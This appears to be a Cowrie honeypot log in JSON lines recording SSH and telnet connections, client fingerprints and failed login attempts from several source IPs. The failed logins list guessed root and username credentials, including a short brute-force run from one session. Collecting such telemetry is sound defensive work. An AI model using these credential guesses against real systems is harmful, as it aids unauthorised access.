{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:54.868807Z","src_ip":"103.195.236.96","session":"8b002c03908a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadezhda","message":"login attempt [root/nadezhda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:55.587098Z","src_ip":"103.195.236.96","session":"8b002c03908a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:12:56.829010Z","src_ip":"103.195.236.96","session":"8b002c03908a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42652,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ce92142d1c","protocol":"ssh","message":"New connection: 103.149.28.157:42652 (10.17.0.5:22) [session: 55ce92142d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:09.072613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:09.106708Z","src_ip":"103.149.28.157","session":"55ce92142d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:09.320773Z","src_ip":"103.149.28.157","session":"55ce92142d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eouiihat","message":"login attempt [root/eouiihat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:10.303048Z","src_ip":"103.149.28.157","session":"55ce92142d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:11.552753Z","src_ip":"103.149.28.157","session":"55ce92142d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15052,"dst_ip":"10.17.0.5","dst_port":22,"session":"84b1c0cc3c63","protocol":"ssh","message":"New connection: 194.59.206.2:15052 (10.17.0.5:22) [session: 84b1c0cc3c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:23.745375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:23.750599Z","src_ip":"194.59.206.2","session":"84b1c0cc3c63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:23.836791Z","src_ip":"194.59.206.2","session":"84b1c0cc3c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:23.927154Z","src_ip":"194.59.206.2","session":"84b1c0cc3c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"780e0b50da07","protocol":"telnet","message":"New connection: 152.42.224.71:41310 (10.17.0.5:23) [session: 780e0b50da07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:13:37.053979Z"}
{"eventid":"cowrie.session.closed","duration":47.01083207130432,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:24.064692Z","src_ip":"152.42.224.71","session":"780e0b50da07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":36504,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d19f332dbd","protocol":"ssh","message":"New connection: 176.65.148.108:36504 (159.203.135.109:22) [session: 53d19f332dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:34.787992Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:34.872442Z","src_ip":"176.65.148.108","session":"53d19f332dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":36516,"dst_ip":"159.203.135.109","dst_port":22,"session":"68ae5e89355d","protocol":"ssh","message":"New connection: 176.65.148.108:36516 (159.203.135.109:22) [session: 68ae5e89355d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:34.950624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:34.955665Z","src_ip":"176.65.148.108","session":"68ae5e89355d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:35.038006Z","src_ip":"176.65.148.108","session":"68ae5e89355d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"904ab","password":"904ab","message":"login attempt [904ab/904ab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:35.286216Z","src_ip":"176.65.148.108","session":"68ae5e89355d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:36.370887Z","src_ip":"176.65.148.108","session":"68ae5e89355d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":35066,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b36be56b8e","protocol":"ssh","message":"New connection: 193.228.128.84:35066 (159.203.135.109:22) [session: 43b36be56b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:57.840717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:57.845319Z","src_ip":"193.228.128.84","session":"43b36be56b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:57.946992Z","src_ip":"193.228.128.84","session":"43b36be56b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rdfhnbhf","message":"login attempt [root/rdfhnbhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:58.253107Z","src_ip":"193.228.128.84","session":"43b36be56b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:14:59.356880Z","src_ip":"193.228.128.84","session":"43b36be56b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51140,"dst_ip":"10.17.0.5","dst_port":23,"session":"d74e6011f99b","protocol":"telnet","message":"New connection: 152.42.224.71:51140 (10.17.0.5:23) [session: d74e6011f99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:18.903376Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41294,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf786e277fcb","protocol":"ssh","message":"New connection: 87.251.79.125:41294 (159.203.135.109:22) [session: bf786e277fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:20.827585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:20.833608Z","src_ip":"87.251.79.125","session":"bf786e277fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:20.908926Z","src_ip":"87.251.79.125","session":"bf786e277fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wertyu","message":"login attempt [root/wertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:21.122395Z","src_ip":"87.251.79.125","session":"bf786e277fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:22.196564Z","src_ip":"87.251.79.125","session":"bf786e277fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38522,"dst_ip":"159.203.135.109","dst_port":22,"session":"160907c752db","protocol":"ssh","message":"New connection: 194.113.233.25:38522 (159.203.135.109:22) [session: 160907c752db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:31.902360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:31.907015Z","src_ip":"194.113.233.25","session":"160907c752db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:32.000749Z","src_ip":"194.113.233.25","session":"160907c752db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvfvskfhfve","message":"login attempt [root/vfvfvskfhfve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:32.281833Z","src_ip":"194.113.233.25","session":"160907c752db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:33.378116Z","src_ip":"194.113.233.25","session":"160907c752db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":34099,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c05b8dc062c","protocol":"ssh","message":"New connection: 193.46.255.86:34099 (159.203.135.109:22) [session: 7c05b8dc062c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:34.691271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:34.701502Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:34.827952Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:35.403226Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username1","message":"login attempt [username/username1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:36.532691Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abc123","message":"login attempt [username/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:37.661590Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd123","message":"login attempt [username/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:38.791268Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abcd1234","message":"login attempt [username/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:39.920566Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:15:41.049543Z","src_ip":"193.46.255.86","session":"7c05b8dc062c","protocol":"ssh"}
